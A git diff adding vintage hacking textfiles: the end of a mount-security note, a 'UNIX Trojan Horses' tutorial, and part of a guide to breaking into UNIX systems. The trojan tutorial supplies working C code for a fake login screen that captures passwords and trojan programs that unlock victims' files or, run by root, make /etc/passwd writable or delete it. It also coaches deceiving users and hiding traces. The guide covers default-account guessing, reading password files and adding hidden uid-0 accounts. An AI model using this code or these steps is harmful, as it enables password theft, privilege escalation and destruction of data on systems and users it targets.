are obvious and unfortunate consequences. + +For example:a mounted disk with garbage on it will crash the system;one of the + +files on the mounted disk can easily be a password-free version of Shell Unix; + +other files can be unprotected entries for special files. The only easy fix + +for this problem is to forbid the use of mount to unpriv- ileged users.A + +partial solution, not so restrictive,would be to have the mount command examine + +the special file for bad data,set-UID programs owned by others ,and accessible + +special files,and balk at unprivileged invokers. + + + + + +Scott Walters London, CANADA +walterss@julian.uwo.ca +PGP 31 03 1B E1 C7 6E 3A EC 97 32 01 BA 5B 05 5D FB +finger me for public key block +MIME-mail welcome + +'Beware the fury of a patient man.' + diff --git a/textfiles.com/hacking/UNIX/unixtroj.hac b/textfiles.com/hacking/UNIX/unixtroj.hac new file mode 100644 index 00000000..87477462 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixtroj.hac @@ -0,0 +1,326 @@ + ------------------ + UNIX Trojan Horses + ------------------ + +Introduction +------------ + + "UNIX Security" is an oxymoron. It's an easy system to bruteforce hack +(most UNIX systems don't hang up after x number of login tries, and there are +a number of default logins, such as root, bin, sys and uucp). Once you're in +the system, you can easily bring it to its knees or, if you know a little 'C', +you can make the system work for you and totally eliminate the security +barriers to creating your own logins, reading anybody's files, etcetera. This +file will outline such ways by presenting 'C' code that you can implement +yourself. + +Requirements +------------ + You'll need a working account on a UNIX system. It should be a fairly +robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real +machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to +school and have an account on the school system, that will do perfectly. + +Notes +----- + This file was inspired an article in the April, '86 issue of BYTE +entitled "Making UNIX Secure." In the article, the authors say "We provide +this information in a way that, we hope, is interesting and useful yet stops +short of being a 'cookbook for crackers.' We have often intentionally omitted +details." I am following the general outline of the article, giving explicit +examples of the methods they touched on. + + +Project One: Fishing For Passwords +----------------------------------- + + You can implement this with only a minimal knowledge of UNIX and C. +However, you need access to a terminal that many people use - the computer lab +at your school, for example. + + When you log onto a typical UNIX system, you see something like this: + +Tiburon Systems 4.2bsd / System V (shark) + + +login: shark +Password: (not printed) + + The program I'm giving you here simulates a logon sequence. You run the +program from a terminal and then leave. Some unknowing fool will walk up and +enter their login and password. It is written to a file of yours, then "login +incorrect" is printed, then the fool is asked to log in again. The second +time it's the real login program. This time the person succeeds and they are +none the wiser. + + On the system, put the following code into a file called 'horse.c'. You +will need to modify the first 8 lines to fit your system's appearance. + + +----- Code Begins Here ----- + +/* this is what a 'C' comment looks like. You can leave them out. */ + +/* #define's are like macros you can use for configuration. */ + +#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" + +/* The above string should be made to look like the message that your + * system prints when ready. Each \n represents a carriage return. + */ + +#define LOGIN "login: " + +/* The above is the login prompt. You shouldn't have to change it + * unless you're running some strange version of UNIX. + */ + +#define PASSWORD "password:" + +/* The above is the password prompt. You shouldn't have to change + * it, either. + */ + +#define WAIT 2 + +/* The numerical value assigned to WAIT is the delay you get after + * "password:" and before "login incorrect." Change it (0 = almost + * no delay, 5 = LONG delay) so it looks like your system's delay. + * realism is the key here - we don't want our target to become + * suspicious. + */ + + +#define INCORRECT "Login incorrect.\n" + +/* Change the above so it is what your system says when an incorrect + * login is given. You shouldn't have to change it. + */ + +#define FILENAME "stuff" + +/* FILENAME is the name of the file that the hacked passwords will + * be put into automatically. 'stuff' is a perfectly good name. + */ + +/* Don't change the rest of the program unless there is a need to + * and you know 'C'. + */ + +#include +#include +int stop(); + +main() +{ +char name[10], password[10]; +int i; +FILE *fp, *fopen(); +signal(SIGINT,stop); +initscr(); +printf(SYSTEM); +printf(LOGIN); +scanf("%[^\n]",name); +getchar(); +noecho(); +printf(PASSWORD); +scanf("%[^\n]",password); +printf("\n"); +getchar(); +echo(); +sleep(WAIT); + + +if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { +#fprintf(fp,"login %s has password %s\n",name,password); +#fclose(fp); +#} + +printf(INCORRECT); +endwin(); +} + +stop() +{ +endwin(); +exit(0); +} + + +----- Source Ends Here ----- + + OK, as I said, enter the above and configure it so it looks exactly like +your system's login sequence. To compile this program called 'horse.c' type +the following two lines: (don't type the %'s, they are just a sample prompt) + +% cc horse.c -lcurses -ltermcap +% mv a.out horse + +You now have the working object code in a file called 'horse'. Run it, and if +it doesn't look like your systems logon sequence, re-edit horse.c and +recomplie it. When you're ready to put the program into use, create a new +file and call it 'trap' or something. 'trap' should have these two commands: + +horse (this runs your program) +login (this runs the real login program) + +to execute 'trap' type: + +% source trap (again, don't type the %) + +and walk away from your terminal... + +After you've run it successfully a few times, check your file called +'stuff' (or whatever you decided to call it). It will look like this: + +user john has password secret +user mary has password smegma +etc. + +Copy down these passwords, then delete this file (it can be VERY incriminating +if the superuser sees it). + +Note - for best results your terminal should be set to time-out after a few +minutes of non-use - that way, your horse program doesn't run idle for 14 +hours if nobody uses the terminal you ran it on. + +----- + +The next projects can be run on a remote system, such as the VAX in Michigan +you've hacked into, or Dartmouth's UNIX system, or whatever. However, they +require a little knowledge of the 'C' language. They're not something for +UNIX novices. + +Project Two: Reading Anybody's Files +------------------------------------- + +When somebody runs a program, they're the owner of the process created and +that program can do anything they would do, such as delete a file in their +directory or making a file of theirs available for reading by anybody. + +When people save old mail they get on a UNIX system, it's put into a file +called mbox in their home directory. This file can be fun to read but is +usually impossible for anybody but the file's owner to read. Here is a short +program that will unlock (i.e. chmod 777, or let anybody on the system read, +write or execute) the mbox file of the person who runs the program: + +----- Code Begins Here ----- + +#include + +struct passwd *getpwnam(name); +struct passwd *p; +char buf[255]; + +main() +{ +p = getpwnam(getlogin()); +sprintf(buf,"%s/%s",p->pw_dir,"mbox"); +if ( access(buf,0) > -1 ) { + sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); + system(buf); + } +} + +----- Code Ends Here ----- + +So the question is: How do I get my target to run this program that's +in my directory? + +If the system you're on has a public-messages type of thing (on 4.xbsd, type +'msgs') you can advertise your program there. Put the above code in another +program - find a utility or game program in some magazine like UNIX WORLD and +modify it and do the above before it does it's real thing. So if you have a +program called tic-tac-toe and you've modified it to unlock the mbox file of +the user before it plays tic-tac-toe with him, advertise "I have a new tic- +tac-toe program running that you should all try. It's in my directory." or +whatever. If you don't have means of telling everybody on the system via a +public message, then just send mail to the specific people you want to trap. + +If you can't find a real program to modify, just take the above program and +add this line between the two '}' lines at the end of the program: + +printf("Error opening tic-tac-toe data file. Sorry!\n"); + +when the program runs, it will print the above error message. The user will +think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!" +but the joke's on him - you can now read his mail. + +If there's a specific file in a user's directory that you'd like to read (say +it's called "secret") just throw together this general program: + + +main() +{ +if ( access("secret",0) > -1 ) system("chmod 777 secret"); +} + +then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program +called super_star_wars, will you try it out?" + +You can use your imagination. Think of a command you'd like somebody to +execute. Then put it inside a system() call in a C program and trick them +into running your program! + +Here's a very neat way of using the above technique: + +Project Three: Become the superuser +----------------------------------- + +Write a program that you can get people to run. Put this line in it +somewhere: + +if ( !strcmp(getlogin(),"root") ) system("whatever you want"); + +This checks to see if the root login is running your program. If he is, you +can have him execute any shell command you'd like. Here are some suggestions: + +"chmod 666 /etc/passwd" + + /etc/passwd is the system's password file. The root owns this file. +Normally, everyone can read it (the passwords are encrypted) but only the root +can write to it. Take a look at it and see how it's formatted if you don't +know already. This command makes it possible for you to now write to the file +- i.e. create unlimited accounts for yourself and your friends. + +"chmod 666 /etc/group" + + By adding yourelf to some high-access groups, you can open many +doors. + +"chmod 666 /usr/lib/uucp/L.sys" + + Look for this file on your system if it is on the uucp net. It contains +dialups and passwords to other systems on the net, and normally only the uucp +administrator can read it. Find out who owns this file and get him to +unknowingly execute a program to unlock it for you. + +"rm /etc/passwd" + + If you can get the root to execute this command, the system's passwd file +will be removed and the system will go down and will not come up for some time +to come. This is very destructive. + +----- + +If you are going to go about adding a trojan horse program to the system, +there are some rules you should follow. If the hidden purpose is something +major (such as unlocking the user's mbox or deleting all of his files or +something) this program shouldn't be a program that people will be running a +lot (such as a popular computer game) - once people discover that their files +are public access the source of the problem will be discovered quite easily. +Save this purpose for a 'test' program (such as a game you're in the process +of writing) that you ask individual people to run via mail or 'chatting' with +them. As I said, this 'test' program can bomb or print a phony error message +after completing its task, and you will just tell the person "well, I guess +it needs more work", wait until they log off, and then read whatever file of +theirs that you've unlocked. If your trojan horse program's sole purpose is +to catch a specific user running it - such as the root or other high-powered +user - you can put the code to do so in a program that will be run a lot by +various users of the system. Your modification will remain dormant until he +runs it. If you cant find the source to 'star trek' or whatever in C, just +learn C and convert something from pascal. It can't hurt to learn C as it's a +great language. We've just seen what it can do on a UNIX system. Once you've +caught the root (i.e. you can now modify the /etc/passwd file) remove the +spurious code from your trojan horse program and you'll never be caught. + diff --git a/textfiles.com/hacking/UNIX/unix~1.txt b/textfiles.com/hacking/UNIX/unix~1.txt new file mode 100644 index 00000000..e6f0446d --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix~1.txt @@ -0,0 +1,904 @@ + + + + + + An Indepth Guide In Hacking UNIX + and + The Concept Of Basic Networking Utility + By: Evil Ernie + Member of: + -=NLA=- + No Lamerz Allowed + + +Brief History On UNIX +~~~~~~~~~~~~~~~~~~~~~ +Its because of Ken Tompson that today we are able to hack Unix. He used to +work for Bell Labs in the 1960s. Tompson started out using the MULTICS OS +which was later eliminated and Tompson was left without an operating system to +work with. + +Tompson had to come up with something real quick. He did some research and and +in 1969 UNIX came out, which was a single user and it did not have many +capabilities. A combined effort with others enabled him to rewrite the version +in C and add some good features. This version was released in 1973 and was +made available to the public. This was the first begining of UNIX in its +presently known form. The more refined version of UNIX, today know as UNIX +system V developed by Berkley University has unique capabilities. + +Various types of UNIXes are CPIX, Berkeley Ver 4.1, Berkeley 4.2, FOS, Genix, +HP-UX, IS/I, OSx, PC-IX, PERPOS, Sys3, Ultrix, Zeus, Xenix, UNITY, VENIX, UTS, +Unisys, Unip lus+, UNOS, Idris, QNIX, Coherent, Cromix, System III, System 7, +Sixth edition. + +The Article Itself +~~~~~~~~~~~~~~~~~~ +I believe that hacking into any system requires knowledge of the operating +system itself. Basically what I will try to do is make you more familiar with +UNIX operation and its useful commands that will be advantageous to you as a +hacker. This article contains indepth explainations. I have used the UNIX +System V to write this article. + + +Error Messages: (UNIX System V) +~~~~~~~~~~~~~~ +Login Incorrect - An invalid ID and/or password was entered. This means + nothing. In UNIX there is no way guessing valid user IDs. + You may come across this one when trying to get in. + +No More Logins - This happens when the system will not accept anymore logins. + The system could be going down. + +Unknown Id - This happens if an invalid id is entered using (su) command. + +Unexpected Eof In File - The file being stripped or the file has been damaged. + +Your Password Has Expired - This is quite rare although there are situations + where it can happen. Reading the etc/passwd will + show you at how many intervals it changes. + +You May Not Change The Password - The password has not yet aged enough. The + administrator set the quotas for the users. + +Unknown Group (Group's Name) - Occurs when chgrp is executed, group does not + exist. +Sorry - Indicated that you have typed in an invalid super user password + (execution of the su). + +Permission Denied! - Indicated you must be the owner or a super user to change + password. + +Sorry <( Of Weeks) Since Last Change - This will happen when password has has + not aged enough and you tried to change + it (password). + +(Directory Name): No Permission - You are trying to remove a directory which + you have no permission to. + +(File Name) Not Removed - Trying to delete a file owned by another user that + you do not have write permission for. + +(Dirname) Not Removed - Ownership of the dir is not your that your trying to + delete. + +(Dirname) Not Empty - The directory contains files so you must have to delete + the files before execcant open [file name] - defined + wrong path, file name or you have no read permission. + +Cp: (File Name) And (File Name) Are Identical - Self explanatory. + +Cannot Locate Parent Directory - Occurs when using mv. + +(File name) Not Found - File which your trying to move does not exist. + +You Have Mail - Self explanatory. + + +Basic Networking Utility Error Messages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Cu: Not found - Networking not installed. +Login Failed - Invalid id/pw or wrong number specified. +Dial Failed - The systen never answered due to a wrong number. +UUCP Completely Failed - Did not specify file after -s. +Wrong Time to Call - You called at the time at a time not specified in the + Systems file. +System not in systems - You called a remote not in the systems file. + + +Logon Format +~~~~~~~~~~~~ +The first thing you must do is switch to lower case. To identifing a UNIX, +this is what you will see; + +AT&T Unix System V 3.0 (eg of a system identifier) + +login: + or +Login: + +Any of these is a UNIX. Here is where you will have to guess at a user valid +id. Here are some that I have come across; glr, glt, radgo, rml, chester, cat, +lom, cora, hlto, hwill, edcasey, and also some containing numbers; smith1, +mitu6, or special characters in it; bremer$, jfox. Login names have to be 3 +to 8 chracters in length, lowercase, and must start with a letter. In some +XENIX systems one may login as "guest" + +User Level Accounts (Lower Case) +~~~~~~~~~~~~~~~~~~~ +In Unix there are what is called. These accounts can be used at the "login:" +prompt. Here is a list: + +sys bin trouble daemon uucp nuucp rje lp adm + + +Super-User Accounts +~~~~~~~~~~~~~~~~~~~ +There is also a super-user login which make UNIX worth hacking. The accounts +are used for a specific job. In large systems these logins are assingned to +users who have a responsibilty to maintain subsystems. + +They are as follows (all lower case); + +root - This is a must the system comes configured with it. It has no + restriction. It has power over every other account. +unmountsys - Unmounts files +setup - System set up +makefsys - Makes a new file +sysadm - Allows useful S.A commands (doesn't need root login) +powerdown - Powering system down +mountfsys - Mounts files +checkfsys - Checks file + +These accounts will definitly have passwords assigned to them. These accounts +are also commands used by the system administrator. After the login prompt you +will receive a password prompt: + +password: + or +Password: + +Enter the password (it will not echo). The password rule is as follows; Each +password has to contain at least 6 characters and maximum of 8 characters. Two +of which are to be alphabetic letters and at least one being a number or a +special character. The alphabetic digits could be in upper case or lower +case. Here are some of the passwords that I have seen; Ansuya1, PLAT00N6, +uFo/78, ShAsHi.., Div417co. + +The passwords for the super user accounts will be difficult to hack try the +accounts interchangebly; login:sysadm password:makefsys, or rje1, sysop, +sysop1, bin4, or they might contain letters, numbers, or special chracters in +them. It could be anything. The user passwords are changed by an aging +proccess at successive intervals. The users are forced to changed it. The +super-user will pick a password that will not need changing for a long period +of time. + + +You Have Made It! +~~~~~~~~~~~~~~~~~ +The hard part is over and hopefully you have hacked a super-user account. +Remember Control-d stops a process and also logs you off. The next thing you +will probably see is the system news. Ex; + +login:john +password:hacker1 + +System news + +There will be no networking offered to the users till +August 15, due to hardware problems. +(Just An Example) + +$ + +$ (this is the Unix prompt) - Waiting for a command to be entered. + - Means your logged in as root (Very Good). + +A Word About The XENIX System III (Run On The Tandy 6000) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +The largest weakness in the XENIX System III occurs after the installation +of the Profile-16 or more commonly know as the Filepro-16. I have seen the +Filepro-16 installed in many systems. The installation process creates an +entry in the password file for a user named \fBprofile\fR, an account that who +owns and administors the database. The great thing about it is that when the +account is created, no password is assigned to it. The database contains +executable to maintain it. The database creation programs perform a +\fBsetuid\fR to boot up the \fBoot\fR thereby giving a person the whole C +Shell to gain Super User privilege same as root. Intresting huh! + +(* Note: First the article will inform you of how the Unix is made up.) + + +The Unix is made if three components - The Shell, The Kernal, File System. + +The Kernal +~~~~~~~~~~ +You could say that the kernal is the heart of the Unix operating system. The +kernal is a low level language lower than the shell which maintains processes. +The kernal handles memory usage, maintains file system the sofware and hardware +devices. + +The Shell +~~~~~~~~~ +The shell a higher level language. The shell had two important uses, to act as +command interpreture for example using commands like cat or who. The shell is +at work figuring out whether you have entered a command correctly or not. The +second most important reason for the shell is its ability to be used as +programing language. Suppose your performing some tasks repeatedly over and +over again, you can program the shell to do this for you. + + (Note: This article will not cover shell programming.) + ( Instead B.N.N will be covered. ) + + +The File System +~~~~~~~~~~~~~~~ +The file system in Unix is divided into 3 catagories: Directories, ordinary +files and special files (d,-). + +Basic Stucture: + +(/)-this is abreviation for the root dirctory. + + root level root + (/) system +-------------------------------------|---------------------------------- level +| | | | | | | | +/unix /etc /dev /tmp /lib /usr /usr2 /bin + | _____|_____ +login passwd | | | +level /john /cathy + ________________________|_______________ + | | | | | | + .profile /mail /pers /games /bin /michelle +*.profile - in case you | __|______ | __|_______ +wish to change your environment, but capital | | data | | | +after you log off, it sets it to othello starwars letter letter1 +default. + +/unix - This is the kernal. +/etc - Contains system administrators files,Most are not available to the + regular user (this dirrctory contains the /passwd file). + + Here are some files under /etc directory: + /etc/passwd + /etc/utmp + /etc/adm/sulog + /etc/motd + /etc/group + /etc/conf + /etc/profile + +/dev - contains files for physical devices such as printer and the disk drives +/tmp - temporary file directory +/lib - dirctory that contains programs for high level languages +/usr - this directory contains dirctories for each user on the system +/bin - contain executable programs (commands) + +The root also contains: +/bck - used to mount a back up file system. +/install - Used to install and remove utilities +/lost+found - This is where all the removed files go, this dir is used by fsck +/save -A utility used to save data +/mnt - Used for temporary mounting + +**Now the fun part scouting around** + +Local Commands (Explained In Details) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +At the unix prompt type the pwd command. It will show you the current working +directory you are in. + +$ pwd +$ /usr/admin - assuming that you have hacked into a super user account + check fsys +$ + +This gives you the full login directory. The / before tell you the location of +the root directory. + +Or + +(REFER TO THE DIAGRAM ABOVE) +$ pwd +$ /usr/john +$ +Assuming you have hacked into John's account. + +Lets say you wanted to move down to the Michelle directory that contains +letters. You would type in; + +$ cd michelle or cd usr/john/michelle +$ pwd +$ /usr/john/michelle +$ + +Going back one directory up type in: +$ cd .. +or going to your parent directory just type in "cd" + +Listing file directories assuming you have just logged in: +$ ls /usr/john +mail +pers +games +bin +michelle +This wont give you the .profile file. To view it type +$ cd +$ ls -a +: +: +.profile + +To list file names in Michelle's directory type in: +$ ls michelle (that if your in the johns directory) +$ ls /usr/john/michelle(parent dir) + +ls -l +~~~~~ +The ls -l is an an important command in unix.This command displays the whole +directory in long format :Run this in parent directory. +$ ls -l +total 60 +-rwxr-x--- 5 john bluebox 10 april 9 7:04 mail +drwx------ 7 john bluebox 30 april 2 4:09 pers + : : : : : : : + : : : : : : : +-rwxr-x--- 6 cathy bluebox 13 april 1 13:00 partys + : : : : : : : +$ + +The total 60 tells one the ammount of disk space used in a directory. The +-rwxr-x--- is read in triples of 3. The first chracter eg (-, d, b, c) means +as follows: - is an ordinary file, d is a directory, b is block file, c is a +character file. + +The r stands for read permission, w is write permission, x is execute. The +first column is read in 3 triples as stated above. The first group of 3 (in +-rwxr-x---) after the "-" specifies the permission for the owner of the file, +the second triple are for the groups (the fourth column) and the last triple +are the permissions for all other users. Therefore, the -rwxr-x--- is read as +follows. + +The owner, John, has permission to read, write, and execute anything in the bin +directory but the group has no write permission to it and the rest of the users +have no permission at all. The format of one of the lines in the above output +is as follows: + +file type-permissions, links, user's name, group, bytes taken, date, time when +last renued, directory, or file name. + + *** You will be able to read, execute Cathy's *** + *** file named partly due to the same group. *** + +Chmod +~~~~~ +The chmod command changes permission of a directory or a file. Format is +chmod who+, -, =r , w, x + +The who is substituted by u-user, g-group, o-other users, a-all. +The + means add permission, - means remove permission, = - assign. +Example: If you wanted all other users to read the file name mail, type: + +$ chmod o+r mail + +Cat +~~~ +Now suppose you wanted to read the file letter. There are two ways to doing +this. First go to the michelle directory then type in: + +$ cat letter +line one ...\ +line two ... }the output of letter +line three../ +$ + or +If you are in the parent directory type in: +$ cat /usr/john/michelle/letter +and you will have the same output. + +Some cat options are -s, -u, -v, -e, -t + +Special Chracters in Unix +~~~~~~~~~~~~~~~~~~~~~~~~~ +* - Matches any number of single characters eg. ls john* will list all + files that begin with john +[...] - Matchs any one of the chracter in the [ ] +? - Matches any single chracter +& - Runs a process in the backgroung leaving your terminal free +$ - Values used for variables also $n - null argument +> - Redirectes output +< - Redirects input to come from a file +>> - Redirects command to be added to the end of a file +| - Pipe output (eg:who|wc-l tells us how many users are online) +"..." - Turn of meaning of special chracters excluding $,` +`...` - Allows command output in to be used in a command line +'...' - Turns of special meaning of all chracters + +Continuation Of Local Commands +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +man [command] or [c/r] -will give you a list of commands explainations +help - available on some UNIX systems +mkdir [dir name(s)] - makes a directory +rmdir [dir name(s)] - removes directory.You wont be able to remove the + directory if it contains files in them +rm [file name(s)] - removes files. rm * will erase all files in the current + dir. Be carefull you! Some options are: + [-f unconditional removal] [-i Prompts user for y or n] + +ps [-a all processes except group leaders] [-e all processes] [-f the whole + list] - This command reports processes you are running eg: + + $ps + PID TTY TIME COMMAND + 200 tty09 14:20 ps + + The systems reports (PID - process idenetification number which is a number + from 1-30,000 assigned to UNIX processes) + It also reports the TTY,TIME and the COMMAND being executed at the time. + To stop a process enter : + + $kill [PID] (this case its 200) + 200 terminated + $ + +grep (argument) - searches for an file that contains the argument +mv (file names(s)) ( dir name ) - renames a file or moves it to another + directory +cp [file name] [file name] - makes a copy of a file +write [login name ] - to write to other logged in users. Sort of a chat +mesg [-n] [-y] - doesn't allow others to send you messages using the write + command. Wall used by system adm overrides it. +$ [file name] - to execute any file +wc [file name] - Counts words, characters,lines in a file +stty [modes] - Set terminal I/O for the current devices +sort [filename] - Sorts and merges files many options +spell [file name] > [file name] - The second file is where the misspelt words + are entered +date [+%m%d%y*] [+%H%%M%S] - Displays date acoording to options +at [-r] [-l] [job] - Does a specified job at a specified time. The -r Removes + all previously scheduled jobs.The -l reports the job and + status of all jobs scheduled +write [login] [tty] - Sends message to the login name. Chat! + + +Su [login name] +~~~~~~~~~~~~~~~ +The su command allows one to switch user to a super user to a user. Very +important could be used to switch to super user accounts. +Usage: + +$ su sysadm +password: + +This su command will be monitored in /usr/adm/sulog and this file of all files +is carefully monitered by the system administrator.Suppose you hacked in john's +account and then switched to the sysadm account (ABOVE) your /usr/adm/su log +entry would look like: + +SU 04/19/88 21:00 + tty 12 john-sysadm + +Therfore the S.A(system administrator) would know that john swithed to sysadm +account on 4/19/88 at 21:00 hours + + +Searching For Valid Login Names: +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Type in- +$ who ( command informs the user of other users on the system) +cathy tty1 april 19 2:30 +john tty2 april 19 2:19 +dipal tty3 april 19 2:31 +: +: +tty is the user's terminal, date, time each logged on. mary, dr.m are valid +logins. + +Files worth concatenating(cat) + + +/etc/passwd file +~~~~~~~~~~~~~~~~ +The etc/passwd is a vital file to cat. For it contains login names of all +users including super user accounts and there passwords. In the newer SVR3 +releases they are tighting their security by moving the encrypted passwords +from /etc/passwd to /etc/shadow making it only readable by root. +This is optional of course. + +$ cat /etc/passwd +root:D943/sys34:0:1:0000:/: +sysadm:k54doPerate:0:0:administration:usr/admin:/bin/rsh +checkfsys:Locked;:0:0:check file system:/usr/admin:/bin/rsh +: +other super user accs. +: +john:hacker1:34:3:john scezerend:/usr/john: +: +other users +: +$ + +If you have reached this far capture this file as soon as possible. This is a +typical output etc/passwd file. The entries are seperated by a ":". There +made be up to 7 fields in each line. +Eg.sysadm account. + +The first is the login name in this case sysadm.The second field contains the +password. The third field contains the user id."0 is the root." Then comes +the group id then the account which contains the user full name etc. The sixth +field is the login directory defines the full path name of the the paticular +account and the last is the program to be executed. Now one can switch to +other super user account using su command descibed above. The password entry +in the field of the checkfsys account in the above example is "Locked;". This +doesn't mean thats its a password but the account checkfsys cannot be accessed +remotely. The ";" acts as an unused encryption character. A space is also +used for the same purpose. You will find this in many UNIX systems that are +small systems where the system administrator handles all maintaince. + +If the shawdowing is active the /etc/passwd would look like this: + +root:x:0:1:0000:/: +sysadm:x:0:0:administration:/usr/admin:/bin/rsh + +The password filed is substituted by "x". + +The /etc/shawdow file only readable by root will look similar to this: + +root:D943/sys34:5288:: +: +super user accounts +: +Cathy:masai1:5055:7:120 +: +all other users +: + +The first field contains users id: The second contains the password (The pw +will be NONE if logining in remotely is deactivated): The third contains a +code of when the password was last changed: The fourth and the fifth contains +the minimum and the maximum numbers of days for pw changes (its rare that you +will find this in the super user logins due to there hard to guess passwords) + + +/etc/options +~~~~~~~~~~~~ +The etc/options file informs one the utilities available in the system. +-rwxr-xr-x 1 root sys 40 april 1:00 Basic Networking utility + + +/etc/group +~~~~~~~~~~ +The file has each group on the system. Each line will have 4 entries separated +by a ":". Example of concatenated /etc/group: + +root::0:root +adm::2:adm,root +bluebox::70: + +Group name:password:group id:login names +** It very unlikely that groups will have passwords assigned to them ** +The id "0" is assigned to / + + +Sending And Recieving Messages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Two programs are used to manage this. They are mail & mailx. The difference +between them is that mailx is more fancier thereby giving you many choices like +replying message, using editors, etc. + + +Sending +~~~~~~~ +The basic format for using this command is: + +$mail [login(s)] +(now one would enter the text after finishing enter "." a period on the next +blank line) +$ + +This command is also used to send mail to remote systems. Suppose you wanted +to send mail to john on a remote called ATT01 you would type in: + +$mail ATT01!john + +Mail can be sent to several users, just by entering more login name after +issuing the mail command + +Using mailx is the same format:(This I'll describe very briefly) $mailx john +subject:(this lets you enter the subject) +(line 1) +(line 2) +(After you finish enter (~.) not the brackets of course, more commands are +available like ~p, ~r, ~v, ~m, ~h, ~b, etc.). + + +Receiving +~~~~~~~~~ +After you log on to the system you will the account may have mail waiting. +You will be notified "you have mail." +To read this enter: +$mail +(line 1) +(line 2) +(line 3) +? +$ + +After the message you will be prompted with a question mark. Here you have a +choice to delete it by entering d, saving it to view it later s, or just press +enter to view the next message. + + (DON'T BE A SAVANT AND DELETE THE POOR GUY'S MAIL) + + +Super User Commands +~~~~~~~~~~~~~~~~~~~ +$sysadm adduser - will take you through a routine to add a user (may not last + long) + +Enter this: + +$ sysadm adduser +password: +(this is what you will see) + /--------------------------------------------------------------------------\ + Process running succommmand `adduser` + USER MANAGMENT + + Anytime you want to quit, type "q". + If you are not sure how to answer any prompt, type "?" for help + + If a default appears in the question, press for the default. + + Enter users full name [?,q]: (enter the name you want) + Enter users login ID [?,q]:(the id you want to use) + Enter users ID number (default 50000) [?,q) [?,q]:( press return ) + Enter group ID number or group name:(any name from /etc/group) + Enter users login home directory:(enter /usr/name) + + This is the information for the new login: + Users name: (name) + login ID:(id) + users ID:50000 + group ID or name: + home directory:/usr/name + Do you want to install, edit, skip [i, e, s, q]? (enter your choice if "i" + then) + Login installed + Do you want to give the user a password?[y,n] (its better to enter one) + New password: + Re-enter password: + + Do you want to add another login? +\----------------------------------------------------------------------------/ + +This is the proccess to add a user. Since you hacked into a super user account +you can make a super user account by doing the following by entering 0 as an +user and a group ID and enter the home directory as /usr/admin. This will give +you as much access as the account sysadm. + +**Caution** - Do not use login names like Hacker, Cracker,Phreak etc. This is +a total give away. + +The process of adding a user wont last very long the S.A will know when he +checks out the /etc/passwd file + +$sysadm moduser - This utility allows one to modify users. DO NOT ABUSE!! +! + +Password: + +This is what you'll see: + +/----------------------------------------------------------------------------\ +MODIFYING USER'S LOGIN + +1)chgloginid (This is to change the login ID) +2)chgpassword (Changing password) +3)chgshell (Changing directory DEFAULT = /bin/sh) + +ENTER A NUMBER,NAME,INITIAL PART OF OF NAME,OR ? OR ? FOR HELP, Q TO +QUIT ? +\----------------------------------------------------------------------------/ + +Try every one of them out.Do not change someones password.It creates a havoc. +If you do decide to change it.Please write the original one down somewhere +and change back.Try not to leave to many traces after you had your fun. In +choice number 1 you will be asked for the login and then the new one. In +choice number 2 you will asked for the login and then supplied by it correct +password and enter a new one. In choice 3 this is used to a pchange the login +shell ** Use full ** The above utilites can be used separatly for eg (To +change a password one could enter: $sysadm chgpasswd not chapassword, The rest +are same) + +$sysadm deluser - This is an obviously to delete a user password: + +This will be the screen output: +/---------------------------------------------------------------------------\ +Running subcommand 'deluser' from menu 'usermgmt' +USER MANAGEMENT + +This fuction completely removes the user,their mail file,home directory and all +files below their home directory from the machine. + +Enter login ID you wish to remove[q]: (eg.cathy) +'cathy' belongs to 'Cathy Franklin' +whose home directory is /usr/cathy +Do you want to remove this login ID 'cathy' ? [y,n,?,q] : + +/usr/cathy and all files under it have been deleted. + +Enter login ID you wish to remove [q]: +\--------------------------------------------------------------------------/ +This command deletes everthing owned by the user.Again this would be stupid to +use. + + +Other Super User Commands +~~~~~~~~~~~~~~~~~~~~~~~~~ +wall [text] control-d - to send an anouncement to users logged in (will + override mesg -n command). Execute only from / +/etc/newgrp - is used to become a member of a group + +sysadm [program name] + delgroup - delets groups + diskuse - Shows free space etc. + whoson - self explanatory + lsgroup - Lists group + mklineset -hunts various sequences + + + Basic Networking Unility (BNU) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The BNU is a unique feature in UNIX.Some systems may not have this installed. +What BNU does is allow other remote UNIXes communicate with yours without +logging off the present one.BNU also allowes file transfer between computers. +Most UNIX systems V will have this feature installed. + +The user program like cu,uux etc are located in the /usr/bin directory + +Basic Networking Files +~~~~~~~~~~~~~~~~~~~~~~ +/usr/lib/uucp/[file name] + [file name] + systems - cu command to establishes link.Contains info on remote computers + name, time it can be reached, login Id, password, telephone numbers + devices - inter connected with systems files (Automatic call unit same in two + entries) also contains baud rate, port tty1, etc. + + dialers - where asscii converation must be made before file tranfers etc. + dialcodes - contains abreiviations for phone numbers that can be used in + systems file + +other files are sysfiles, permissions, poll, devconfig + +Logining On To Remote And Sending+Receiving Files +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + cu - This command allows one to log on to the local as well as the remote Unix + (or a non unix)without haveing to hang up so you can transfer files. + Usage:[options] + + $ cu [-s baud rate][-o odd parity][-e even parity][-l name of comm line] + telephone number | systemname + + To view system names that you can communicate with use the 'unname' command: + Eg. of output of names: + + ATT01 + ATT02 + ATT03 + ATT04 + + +$ cu -s300 3=9872344 (9872344 is the tel) + connected + login: + password: + +Local Strings +~~~~~~~~~~~~~ +<~.> - will log you off the remote terminal, but not the local + - puts you back on the remote unix local (the directory which you + are in) +"%put [file name] - reverse of above + +Ct +~~ +ct allows local to connect to remote.Initiates a getty on a remote terminal. +Usefull when using a remote terminal.BNU has call back feature that allows the +user on the remote who can execute a call back meaning the local can call the +remote.[ ] are options + 